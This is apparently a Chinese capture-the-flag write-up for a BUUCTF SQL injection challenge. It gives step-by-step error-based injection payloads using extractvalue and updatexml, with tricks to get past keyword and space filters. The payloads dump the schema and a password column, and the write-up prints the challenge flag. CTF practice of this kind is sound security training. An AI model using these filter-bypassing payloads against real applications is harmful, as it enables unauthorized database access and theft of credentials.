题目地址:buuctf

试了一下万能密码和双写绕过都不行

大佬们的博客讲的是报错注入,关于报错注入参考:

SQL注入实战之报错注入篇(updatexml extractvalue floor)

and和or都被过滤了

可以用^代替and,like代替=,()代替空格

这里用extractvalue操作

1’^extractvalue(1,concat(0x7e,(select(database()))))#

得到数据库名geek

1’^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(‘geek’)))))#

表名H4rDsq1

1’^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(‘H4rDsq1’)))))#

得到三个字段id,username,password

1’^extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1))))#

只能得到左边部分flag{fc22e403-1ef2-4b32-90d8-c2,这是因为extractvalue和updatexml函数都只能最多显示32位

1’^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))#

3-1ef2-4b32-90d8-c28bc57f9b2c}

拼起来得到flag{fc22e403-1ef2-4b32-90d8-c28bc57f9b2c}

还有利用updatexml

updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1)